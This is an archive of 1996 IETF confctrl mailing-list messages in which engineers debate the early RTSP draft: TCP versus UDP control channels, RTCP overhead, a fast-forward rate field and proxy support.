Received: from cedar.cic.net by venera.isi.edu (5.65c/5.61+local-25)
	id <AA13768>; Tue, 15 Oct 1996 17:41:39 -0700
Received: from [206.225.192.69] (ts21-19.dialup.ais.net [206.225.198.20]) by cedar.cic.net (8.8.0/8.6.9) with SMTP id UAA08156; Tue, 15 Oct 1996 20:41:32 -0400 (EDT)
X-Sender: gnelson@cedar.cic.net
Message-Id: <v02130506ae89e514e61f@[206.225.192.69]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 15 Oct 1996 19:42:16 -0600
To: David Oran <oran@cisco.com>, Rob Lanphier <robla@prognet.com>,
        Scott Petrack <petrack@VNET.IBM.COM>, confctrl@isi.edu
From: gnelson@zynrgy.com (Gary A. Nelson)
Subject: Re: RTSP
Cc: rem-conf@es.net
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Greetings,

>[SNIP]
>>Certainly this is going to be more than just playback of on-demand.  We see
>>this as being a control protocol layered on top of RTP to provide the
>>control elements necessary for widespread RTP use.  We currently are
>>focusing on the need to control playback in the near term, but we have
>>definitely set our sights on controling all aspects of transmission, because
>>we have a need to standardize all elements of media delivery.

YOur comment "controling all aspects of transmission" could imply a call
model. How does a standardized API like the emerging JavaTel
(http://java.sun.com/products/javatel/) fit into the picture." Seems like
this work needs to be factored into the program. Whatchathink?

GN

********************************
*                                                           *
*   Dr. Gary A. Nelson                            *
*     Zynrgy Group Inc                            *
*       20708 North Deerpath Road          *
*         Barrington, IL 60010-3787         *
*           +1 847 304 0000 vox                *
*              +1 847 304 1929 fax             *
*                 gnelson@zynrgy.com           *
*                                                            *
********************************



From majordom@ISI.EDU  Tue Oct 15 14:05:47 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09136>; Tue, 15 Oct 1996 21:04:49 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09130>; Tue, 15 Oct 1996 21:04:48 -0700
Received: from mail.boxtop.com (dazed.boxtop.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA20534>; Tue, 15 Oct 1996 21:04:47 -0700
Received: from [204.119.208.85] by mail.boxtop.com with smtp host_addr 204.119.208.85 id m0vDNDl-000khiC; 
	( Smail #1) for <confctrl@ISI.EDU>; Tue, 15 Oct 96 21:04 PDT
X-Sender: tdorcey@mail.boxtop.com
Message-Id: <v02130500ae89f2574c53@[204.119.208.85]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 15 Oct 1996 21:05:47 -0700
To: confctrl@ISI.EDU
From: tim@boxtop.com (Tim Dorcey)
Subject: Re : RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

This may be too philosophical for this stage of the game, but another
argument against using TCP in this context is the same "end-to-end"
argument that goes against using hop-by-hop error recovery to achieve
end-to-end reliability.  I.e., what you really need is reliability at the
application level, some synchronization of state between client and server.
By the time you account for all the disruptions that could occur even with
reliable transport (e.g., dropped connections, crashed machines,
insufficient system resources, improper protocol implementations on the
other end) it may not be much additional work to deal with lost messages at
the application level, skipping the need for reliable transport all
together, and, I think, yielding a more robust system.

Of course, TCP can save the application a lot of work, if many errors can
be detected/corrected under the surface, on the way toward producing a
correct *end* result (or an *end* error condition).  This is clearly the
case with bulk file transfer.  It is much less true for a message passing
control protocol, where the *end* result is of a timely nature.  E.g.,
suppose a client wants to abort an incoming UDP stream and sends a STOP
message via TCP.  The packet containing the STOP message is lost, TCP
detects this after a while, backs off to avoid congestion, and tries again.
Meanwhile, it is obvious at the application level that STOP has not
occurred.  If the application were not assuming a reliable transport layer,
it would just keep saying STOP until the data stopped.  Evidence of correct
state is the ack.

Unless you are taking advantage of TCP's ability to reassemble a byte
stream (at the expense of delay) or its carefully tuned flow control
algorithms, I can't see that it adds much value.  But, then again, I can't
speak to the pragmatic concerns regarding current firewall/security
practices, and if this stuff is up and running now, let's not have
hypothetical/philosophical objections get in the way of some real world
experience.







From majordom@ISI.EDU  Tue Oct 15 15:08:08 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10668>; Tue, 15 Oct 1996 22:09:51 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10662>; Tue, 15 Oct 1996 22:09:49 -0700
Received: from hofmann.CS.Berkeley.EDU by venera.isi.edu (5.65c/5.61+local-25)
	id <AA22524>; Tue, 15 Oct 1996 22:09:48 -0700
Received: from internaut.com (Cust101.Max15.Seattle.WA.MS.UU.NET [153.34.42.101]) by hofmann.CS.Berkeley.EDU (8.6.11/8.6.6.Beta11) with SMTP id WAA21450; Tue, 15 Oct 1996 22:09:45 -0700
Received: from [204.57.137.9] by internaut.com (NX5.67c/NeXT-3.0)
	id AA16180; Tue, 15 Oct 96 22:04:56 -0800
Received: by multi with Microsoft Mail
	id <01BBBAE5.59BC2440@multi>; Tue, 15 Oct 1996 22:08:09 -0700
Message-Id: <01BBBAE5.59BC2440@multi>
From: Bernard Aboba <aboba@internaut.com>
To: "confctrl@ISI.EDU" <confctrl@ISI.EDU>,
        "'Rob Lanphier'"
	 <robla@prognet.com>
Subject: RE: RTCP usage in RTSP
Date: Tue, 15 Oct 1996 22:08:08 -0700
Encoding: 49 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Comments below:

However, in low-bandwidth broadcasting situations, RTCP becomes a very
problematic requirement for RTP compliance... in a low-bandwidth situation
(for instance, 2 kilobytes per second)... this portion of the communications
channel only equates to 100 bytes per second. Of that, 75 bytes per second
may be used by clients to multicast RTCP packets through. 

This problem is not unique to RTCP; it is also encountered with SAP. And it goes
beyond just the usefulness of the receiver reports. Requiring every RTP receiver to
be a source on the RTCP group is also a scalability issue since DVMRP currently
requires (S,G) state in its forwarding tables. 

The conclusion I have reached is that we need one of the following:

1. A "sampling" option where only a fraction of the receivers would multicast a receiver
report at a given time, so that the bandwidth fraction alloted to RTCP could be increased.

2. A unicast option, where the RTCP receiver reports would be sent to one or more 
designated hosts, rather than being multicast to the group. 
 
 
Even if it is possible to guarantee that the RTCP bandwidth stays under 5%,
what we have found is every byte matters, and even the smallest savings in
overhead can result in much better quality.

Well, speaking of overhead, why does RTSP use 4 octets for the tag field? Given
that you only have a few tags, it would seem that you could use a single octet
Code field. And the Major/Minor version field that currently requires two octets could
be compressed to a single octet. 

However, I'd like to as the members of this list a couple of things:

*  What compelling applications have been built around RTCP monitoring?
*  Why not do this through SNMP?

Using RTCP you can get information on listenership, available user bandwidth, and 
transmission quality. This, along with the extensions mechanism,  is considered 
quite compelling, both by network managers as well as potential server owners.  

SNMP monitoring of receivers is a non-starter, due to privacy concerns.  

This isn't explicitly stated in the document, but I feel that the RTCP
requirement should be dropped in "compressed RTP".  

In my opinion, RTCP is the single most compelling aspect of RTP. Although I feel
there is a need to address the low-bandwidth issue, throwing out RTCP would be
a serious mistake. 



From majordom@ISI.EDU  Wed Oct 16 10:05:16 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14364>; Wed, 16 Oct 1996 01:06:45 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA14357>; Wed, 16 Oct 1996 01:06:44 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA24008>; Wed, 16 Oct 1996 01:06:12 -0700
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.06398-0@bells.cs.ucl.ac.uk>; Wed, 16 Oct 1996 09:05:20 +0100
To: Anup Rao <anup@netscape.com>
Cc: confctrl@ISI.EDU
Subject: Re: Re : RTSP
In-Reply-To: Your message of "Tue, 15 Oct 1996 16:42:47 PDT." <32642177.116F@netscape.com>
Date: Wed, 16 Oct 1996 09:05:16 +0100
Message-Id: <704.845453116@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



 >The question about controlling time sensitive data via something that
 >trades off delay for reliability is very  valid, and we had given
 >thought  to it earlier. It is  important to note that control messages
 >are a) uni-directional for the most part b) discontinuous(not related
 >significantly to the rate of the stream) and occasional(less than one
 >req/rep per RTT)by their very nature, and therefore do not result in any
 >significant delay. Also, these are by nature small in size, and
 >unfragmented. Henning Schulzrinne has already pointed out most of this.


henning should try some real experiments o nthis

we find that runnign a TCP along side a UDP over real Internet paths, you 
can quite often measure 4 or more SECONDS difference i nthe delivery
times....of occasional TCP fragments of a few bytes, compared with a
UDP packet....

 >Our experience indicates  that TCP is a good choice for these messages
 >and response to control messages does not suffer. In view of this and
 >the belief that having a reliable connection around  is important, doing
 >a lightweight reliable transport solely for the control just does not
 >seem right.
 
I recommend you try this over some long haul paths.....

the rest of your reasonaing for TCP seems very sound, though (the
deployed infrastructure for SSL and trust in this.....however ill or
well founded, is there....)

of course, just because you trust a TCP that controls a UDP in one
context, doesn't mean yo udo i nanother - htere are some veyr nasty
d3enial of service attacks that a modest TCP controlling a massive
media on demand stream could perpertrate.....especially if the latter
is multicast inside a firewall...

 jon


From majordom@ISI.EDU  Wed Oct 16 03:31:52 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17608>; Wed, 16 Oct 1996 04:34:29 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA17602>; Wed, 16 Oct 1996 04:34:26 -0700
Received: from cs.columbia.edu by quark.isi.edu (5.65c/5.61+local-23)
	id <AA25179>; Wed, 16 Oct 1996 04:34:24 -0700
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.27.35]) by cs.columbia.edu (8.7.6/8.6.6) with ESMTP id HAA18304; Wed, 16 Oct 1996 07:31:53 -0400 (EDT)
Received: from erlang.cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.7.6/8.6.6) with SMTP id HAA04542; Wed, 16 Oct 1996 07:31:52 -0400 (EDT)
Message-Id: <3264C7A8.47C5@cs.columbia.edu>
Date: Wed, 16 Oct 1996 07:31:52 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 3.0 (X11; I; SunOS 5.5.1 sun4u)
Mime-Version: 1.0
To: Tim Dorcey <tim@boxtop.com>
Cc: confctrl@ISI.EDU
Subject: Re: Re : RTSP
References: <v02130500ae89f2574c53@[204.119.208.85]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Tim Dorcey wrote:
> 
> suppose a client wants to abort an incoming UDP stream and sends a STOP
> message via TCP.  The packet containing the STOP message is lost, TCP
> detects this after a while, backs off to avoid congestion, and tries again.
> Meanwhile, it is obvious at the application level that STOP has not
> occurred.  If the application were not assuming a reliable transport layer,
> it would just keep saying STOP until the data stopped.  Evidence of correct
> state is the ack.

As was pointed out before, the flow control issue is a red herring in
this case. Your STOP message will not get delayed by flow control.

Once the RTT measurement has adjusted right, TCP will discover a loss
within the shortest time possible - a RTT (modulo timer resolution). The
only way to cut down that delay statistically is by repeating the STOP
command a number of times within the RTT and hope that one of the
packets makes it. That may be a worthwhile design for this application.

Given that we have experience with TCP, current users (RealAudio) seem
to think it works well enough, proponents of alternatives haven't had a
chance to demonstrate the superiority of their proposals and that TCP
avoids having to build another protocol, it may be best to simply allow
later use of a different protocol. A client that supports it would
simply send a request to the well-known control port using its
super-fast-reliability mechanism and discover whether there's anybody
home at the port. If not, use TCP.

> 
> Unless you are taking advantage of TCP's ability to reassemble a byte
> stream (at the expense of delay) or its carefully tuned flow control
> algorithms, I can't see that it adds much value.  But, then again, I can't
> speak to the pragmatic concerns regarding current firewall/security
> practices, and if this stuff is up and running now, let's not have
> hypothetical/philosophical objections get in the way of some real world
> experience.

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 212 939-7042
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Oct 16 15:28:10 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19807>; Wed, 16 Oct 1996 06:28:48 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19797>; Wed, 16 Oct 1996 06:28:42 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA25924>; Wed, 16 Oct 1996 06:28:36 -0700
Received: from speedy.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.23166-0@bells.cs.ucl.ac.uk>; Wed, 16 Oct 1996 14:28:12 +0100
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Cc: Tim Dorcey <tim@boxtop.com>, confctrl@ISI.EDU
Subject: Re: Re : RTSP
In-Reply-To: Your message of "Wed, 16 Oct 1996 07:31:52 EDT." <3264C7A8.47C5@cs.columbia.edu>
Date: Wed, 16 Oct 1996 14:28:10 +0100
Message-Id: <4279.845472490@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



 >> Meanwhile, it is obvious at the application level that STOP has not
 >> occurred.  If the application were not assuming a reliable transport layer,
 >> it would just keep saying STOP until the data stopped.  Evidence of correct
 >> state is the ack.
 
 >As was pointed out before, the flow control issue is a red herring in
 >this case. Your STOP message will not get delayed by flow control.

 >Once the RTT measurement has adjusted right, TCP will discover a loss
 >within the shortest time possible - a RTT (modulo timer resolution). The
 >only way to cut down that delay statistically is by repeating the STOP
 >command a number of times within the RTT and hope that one of the
 >packets makes it. That may be a worthwhile design for this application.

the receiver will not know, and if there is subsequent loss of the
reteanmissted packet, TCP backs off the timer (i.e. there are two
backoffs, one of the window, which is not relevant here) - i.e. we are
not fussed about congestion or flow control here - we are concerned
howeer that as multiple losses DO happen i na real net, you will get a
binary exponential backoff of the _retransmit timer, which is
mean+variance of RTT - 

as a network gets congested, RTT gets higher (and variance also gets
higher), and loss goes up - but your STOP message then takes 
exponentially longer to get through....on average

a UDP based scheme could make the RTCP style assumption in the
knowledge that the APPLICATION dsamps RTCP to only be a fixed fraction
of the RTP traffic, and send with a constant RTX timer set to 1 mean +
variance of the measured RTT

 >Given that we have experience with TCP, current users (RealAudio) seem
 >to think it works well enough, proponents of alternatives haven't had a
 >chance to demonstrate the superiority of their proposals and that TCP
 >avoids having to build another protocol, it may be best to simply allow
 >later use of a different protocol. A client that supports it would
 >simply send a request to the well-known control port using its
 >super-fast-reliability mechanism and discover whether there's anybody
 >home at the port. If not, use TCP.

and what if i want to control multiple soruces simulataneously with a
single STOP message? then UDP would let me use multicast...........


someone shoyuld build a UDP (conf control bus) style VCR
controller protocol to show proof of concept....

cheers
 jon


From majordom@ISI.EDU  Wed Oct 16 02:28:41 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27149>; Wed, 16 Oct 1996 09:30:20 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27140>; Wed, 16 Oct 1996 09:30:18 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA12301>; Wed, 16 Oct 1996 09:30:16 -0700
Received: from ornette.nttlabs.com by mailhost.nttlabs.com (8.7.6/3.5Wbeta(96/09/06))
	id JAA17841; Wed, 16 Oct 1996 09:30:01 -0700 (PDT)
Received: from coltrane.nttlabs.com (localhost.nttlabs.com [127.0.0.1]) by ornette.nttlabs.com (8.7.5/8.7.3) with ESMTP id QAA03146; Wed, 16 Oct 1996 16:28:41 GMT
Message-Id: <199610161628.QAA03146@ornette.nttlabs.com>
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Cc: confctrl@ISI.EDU, ecolabor@nttlabs.com
Subject: Re: Re : RTSP
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Wed, 16 Oct 1996 14:28:10 BST"
References: <4279.845472490@cs.ucl.ac.uk> 
Date: Wed, 16 Oct 1996 09:28:41 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

 |>
 |>and what if i want to control multiple soruces simulataneously with a
 |>single STOP message? then UDP would let me use multicast...........
 |>
 |>
 |>someone shoyuld build a UDP (conf control bus) style VCR
 |>controller protocol to show proof of concept....
 |>
 |>cheers
 |> jon
 |>
 |>

I was planning to finish my putting my thoughts together on this, but
couldn't resist this one...

This is what we are trying to do at NTT (though within RTCP for the
time being).  We actually need multicast for control to provide
awareness in a collaborative session.

Please see the BOF notes and my work in progress at
http://ecolabor.nttlabs.com/~sumisu/streams-bof/
http://ecolabor.nttlabs.com/docs/

I will explain/discuss more later (was planning on joining this
conversation sometime this afternoon) but the idea is to describe a
session using SDP (including information of the control channel),
invite entities (sinks and sources) via SIP, actually start recording
or playback on the control channel, etc.

What is "special" about our case is that we want to provide awareness
to all participants of what controls are being applied to a stream or
streams (actually to a sink or source).  Our model is of a
"relatively" loosely coupled conference and floor control may be
managed (via SCCP?), but we want other participants to have indication
that a given participant has pressed pause, stop, rewind, etc.

We also want to control cameras.  We have collaboration rooms that
have multiple cameras and other devices and remote control would
assist in the seamless use of these rooms (between Japan and the US
for example).

Well, like I said, more later.  Our goals are a "generic" solution for
peer-to-peer collaborative environments not the "broadcast"
client-server models that Netscape and Progressive are most likely
aiming for.

js

--
 Jeffrey D. Smith     $B!Z%8%'%U%j!<!&%9%_%9![(B
 Nippon Telegraph and Telephone Corporation   
 Software Laboratories Palo Alto	              
 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
 Palo Alto, CA 94306				FAX  +1 415 326 1878
					 	ISDN +1 415 843 0667

 pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
 e-mail: sumisu@nttlabs.com

From majordom@ISI.EDU  Wed Oct 16 03:11:32 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00657>; Wed, 16 Oct 1996 10:14:00 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA00651>; Wed, 16 Oct 1996 10:13:58 -0700
Received: from darkstar.isi.edu by quark.isi.edu (5.65c/5.61+local-23)
	id <AA28866>; Wed, 16 Oct 1996 10:13:58 -0700
Received: from mail.boxtop.com (dazed.boxtop.com) by darkstar.isi.edu (5.65c/5.61+local-23)
	id <AA07771>; Wed, 16 Oct 1996 10:11:27 -0700
Received: from [204.119.208.85] by mail.boxtop.com with smtp host_addr 204.119.208.85 id m0vDZUA-000kaIC; 
	( Smail #1) for <confctrl@ISI.EDU>; Wed, 16 Oct 96 10:11 PDT
X-Sender: td11@postoffice2.mail.cornell.edu (Unverified)
Message-Id: <v02130502ae8ac3245d79@[204.119.208.85]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Wed, 16 Oct 1996 10:11:32 -0700
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
From: tim@boxtop.com (Tim Dorcey)
Subject: Re: Re : RTSP
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 7:31 AM 10/16/96, Henning Schulzrinne wrote:
>
>As was pointed out before, the flow control issue is a red herring in
>this case. Your STOP message will not get delayed by flow control.
>
>Once the RTT measurement has adjusted right, TCP will discover a loss
>within the shortest time possible - a RTT (modulo timer resolution). The

Except that TCP will (should) err on the conservative side with respect to
retransmit.  I don't know what the exact parameterization is, but it's not
going to retransmit unless it is p% likely that loss has occurred.  The p
you want for generic transport is not the p you want in this case.

>only way to cut down that delay statistically is by repeating the STOP
>command a number of times within the RTT and hope that one of the
>packets makes it. That may be a worthwhile design for this application.

Yes, if the STOP scenario is really a practical concern, then it could be
addressed by having a UDP control channel available for repetition of
urgent messages.  This is probably an easier patch than rewriting the rest
of the protocol to deal with unreliable transport.



From majordom@ISI.EDU  Wed Oct 16 05:16:55 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08016>; Wed, 16 Oct 1996 12:18:38 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08009>; Wed, 16 Oct 1996 12:18:36 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA20154>; Wed, 16 Oct 1996 12:18:31 -0700
Received: from ornette.nttlabs.com by mailhost.nttlabs.com (8.7.6/3.5Wbeta(96/09/06))
	id MAA20924 for <confctrl@isi.edu>; Wed, 16 Oct 1996 12:17:01 -0700 (PDT)
Received: from coltrane.nttlabs.com (localhost.nttlabs.com [127.0.0.1]) by ornette.nttlabs.com (8.7.5/8.7.3) with ESMTP id TAA03355 for <confctrl@isi.edu>; Wed, 16 Oct 1996 19:16:55 GMT
Message-Id: <199610161916.TAA03355@ornette.nttlabs.com>
To: confctrl@isi.edu
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
Subject: RTSP - UDP and firewalls
Date: Wed, 16 Oct 1996 12:16:55 -0700
From: Jeff Smith <sumisu@nttlabs.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Just thinking about things a bit...

You are assuming that RTSP can be used with multicast and you make
the case the RTSP is TCP-based for the purpose of firewalls, is this not
contradictory?

js

From majordom@ISI.EDU  Wed Oct 16 05:42:18 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09255>; Wed, 16 Oct 1996 12:45:21 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09249>; Wed, 16 Oct 1996 12:45:20 -0700
Received: from precept.com (hydra.precept.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA21201>; Wed, 16 Oct 1996 12:45:19 -0700
Received: from little-toot.precept.com by precept.com (5.x/SMI-4.1)
	id AA12618; Wed, 16 Oct 1996 12:42:07 -0700
Message-Id: <9610161942.AA12618@precept.com>
From: "Karl Auerbach" <karl@precept.com>
To: "Henning Schulzrinne" <schulzrinne@cs.columbia.edu>,
        "Tim Dorcey" <tim@boxtop.com>
Cc: <confctrl@ISI.EDU>
Subject: Transaction packet count  Was: Re: Re : RTSP
Date: Wed, 16 Oct 1996 12:42:18 -0700
X-Msmail-Priority: Normal
X-Priority: 3
X-Mailer: Microsoft Internet Mail 4.70.1155
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


One relatively small point that I have not seen mentioned in the exchange
of messages is the overall packet count.

Many TCP implementations aren't really all that good about piggybacking
acks onto outgoing data.  Hence, even on an loss-free network, what from
the application appears to be a simple action-response interaction often
causes the exchange of four packets, two of which simply bear
acknowledgment bits.  A good TCP implementation can, of course, improve
this to three packets.  This compares to the two packets required to
support a UDP based transaction.  (Again, I'm assuming an error-free
network as the normal case, which, as a practical matter, is true most of
the time.)

We've been having this same connection versus connectionless argument for
years in the snmp community.  (And in that community I'm an advocate of the
connection oriented approach, but I'm still listening here.)

		--karl--



From majordom@ISI.EDU  Wed Oct 16 06:08:39 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11211>; Wed, 16 Oct 1996 13:10:12 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA11205>; Wed, 16 Oct 1996 13:10:11 -0700
Received: from mail4.microsoft.com by quark.isi.edu (5.65c/5.61+local-23)
	id <AA04396>; Wed, 16 Oct 1996 13:10:11 -0700
Received: by mail4.microsoft.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.24)
	id <01BBBB63.3B97A150@mail4.microsoft.com>; Wed, 16 Oct 1996 13:09:15 -0700
Message-Id: <c=US%a=_%p=msft%l=RED-23-MSG-961016200839Z-72272@mail4.microsoft.com>
From: "Steven Levi (CSD)" <levi@microsoft.com>
To: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RTSP, FastFoward and FastReverse 
Date: Wed, 16 Oct 1996 13:08:39 -0700
X-Mailer:  Microsoft Exchange Server Internet Mail Connector Version 4.0.994.24
Encoding: 37 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Currently,  there is no way to do Fast Forward (FF) or Fast 
Reverse (FR) in RTSP. One simple way to do this would be to
add a signed 32-bit "rate" field to the play range message.

This feature would be very useful for video playback. 

A positive rate implies  forward:  From -> To 
A negative rate implies  reverse:  To -> From 

This same field should be used to vary the rate of playback.
Consider the following scenario:  A client requests that a server
play content with a rate of 10.  The content happens to contain a
video stream with one keyframe per second.  The server could 
attempt to fulfill this request by delivering each key frame at 
a rate of 10 persecond or it could deliver them more sparsely
(e.g. every other key frame at a rate of 5 per second) depending
on the size of the key frames and bandwidth constraints imposed 
upon the server and client (I believe this is different than 
what SET_SPEED is intended for).

If we want to allow for fractional speeds (e.g. 10.5) we could 
define the rate "tick" to be based on some divisor (implicit 
or explicit) 

 

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-------------------------------+-------------------------------+
|                         tag (PLAY_RANGE)                      |
+-------------------------------+-------------------------------+
|                          From (in ms)                         |
+-------------------------------+-------------------------------+
|                           To (in ms)                          |
+-------------------------------+-------------------------------+
|                              Rate                             |
>+-------------------------------+-------------------------------+

From majordom@ISI.EDU  Fri Oct 18 01:31:08 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22788>; Wed, 16 Oct 1996 16:29:20 -0700
Received: from beast.qbik.com by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA22782>; Wed, 16 Oct 1996 16:29:17 -0700
Received: from bertha (127.0.0.1) by 127.0.0.1
 (EMWAC SMTPRS 0.81) with SMTP id <B0000034427@127.0.0.1>;
 Thu, 17 Oct 1996 12:31:20 +1300
Message-Id: <2.2.32.19961016233108.00928e04@wingate>
X-Sender: adrien#wingate:8110@wingate
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 17 Oct 1996 12:31:08 +1300
To: confctrl@zephyr.isi.edu
From: Adrien de Croy <adrien@qbik.com>
Subject: draft-rao-rtsp-00.txt
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Hi all, my name is Adrien de Croy of Qbik Software - developers of the
WinGate proxy server for Windows NT and 95.  As part of the Progressive
Networks firewall development programme, I was asked to peruse the spec, and
provide comments.

I only have a couple of comments, which I hope you will find useful.

First off - it looks good.  What I have to say relates in the main to proxy
servers, since that is where I am coming from, and am familiar with.

There is a little bit of unclearness however around the OPTION negotiation
packets and when these would be used.

I am familiar with the telnet protocol, and some of the option negotiation
sequences for it, having done research into this for the telnet proxy in
WinGate.  I found however that when it comes to proxying, these sort of
sequences cause large headaches.

This is because a proxy must perform as a server for the client, and a
client for the end server.  If the initial client tries negotiating options
with a proxy server, which must then negotiate with another agent (perhaps a
server or even another proxy agent) then the proxy is in a difficult
situation.  It must decide whether to accept an option from the client, and
then remember it and try to negotiate for that option on behalf of the
client with whatever the proxy needs to connect to.  Proxies may not even
understand these options, nor necessarily should they, unless they wish to
regulate access to certain options.

In general, a proxy does need to understand most of what it is passing
through - the information required normally is limited to 

1. Client location / identification information (IP / port / ID)
2. Server location / identification information (IP / port / ID)
3. Requested resource information (file name / type / size)

These are the data that proxy servers need in order to make their decisions
about whether or not to fulfil a client request.

However, with the proposed protocol, there are many ways of conveying some
of this information - e.g

REDIRECT
FETCH (like the flags!)
EVENT_NOTIFY

If the proxy needs to understand a large part of the protocol in order to
extract this information , then it becomes difficult to implement a proxy,
and problematic when the protocol is extended.

What I would propose:

----------------------------------------------------------------------------
----------------------------

1. The client must be aware when it is talking to a proxy server (obviously)
rather than a server. A server should also be aware if a proxy is connecting
to it rather than a client, as it may wish to give priority - e.g where a
proxy is re-casting a live broadcast to many clients.  I propose you add a
field into the HELLO packet to determine the agent type (client, proxy,
re-caster, or server).

----------------------------------------------------------------------------
----------------------------

2. It must be made clear when there is a control connection between the
client and destination server, and that no OPTION (or even GETPARAM /
SETPARAM) packets are sent until that time - to ensure that the client only
ever negotiates these with the end server.  

----------------------------------------------------------------------------
----------------------------

3. Add a FETCH_RESPONSE packet.  This allows a proxy (or a server) to
decline a request gracefully, and also tells the client when it should
continue with its protocol.  The proxy would establish communications with
the server before sending back the response.  The client should not send any
more packets until it has received the FETCH_RESPONSE packet.

----------------------------------------------------------------------------
----------------------------

4. the FETCH packet for a proxy request must contain the server and port number.

The protocol mentions number of hops, and URL, but does not define a
mechanism for defining these hops.

I would propose: (e.g client connects to proxy1:port and sends FETCH with
following URL)

RTSP://proxy2host:port/RTSP://proxy3host:port/RTSP://serverhost:port/resource

In this way, the client can know and specify what sequence of proxy servers
to tunnel through in order to get to the server with the resource.  Also,
each proxy server has a simple job in using the URL - simply remove the
RTSP://host:port/ from the start of the URL, connect to host on port, and
send the rest in a recompiled FETCH message. It also allows for the
possibility of protocol gateways, as the URL could specify many protocols
which the user agent(s) might understand and be able to convert between.

The proxy can also check for loops by scanning the whole URL, and if it
finds a reference back to itself in the URL, it can decline it.

The designer of the client must decide whether or not to allow the
definition of such URLs (e.g whether to allow source-defined routing). This
will undoubtedly be difficult to implement a solution that is easily
explainable to users, however a content provider could specify the compund
URLs on say their web pages, and users would simply point and click on a
link.  The client must scan URLs for validity before presenting them to
another agent.

Each agent should decrement the hop count as the packets pass through so
that the original hop count specified by the client is honoured.

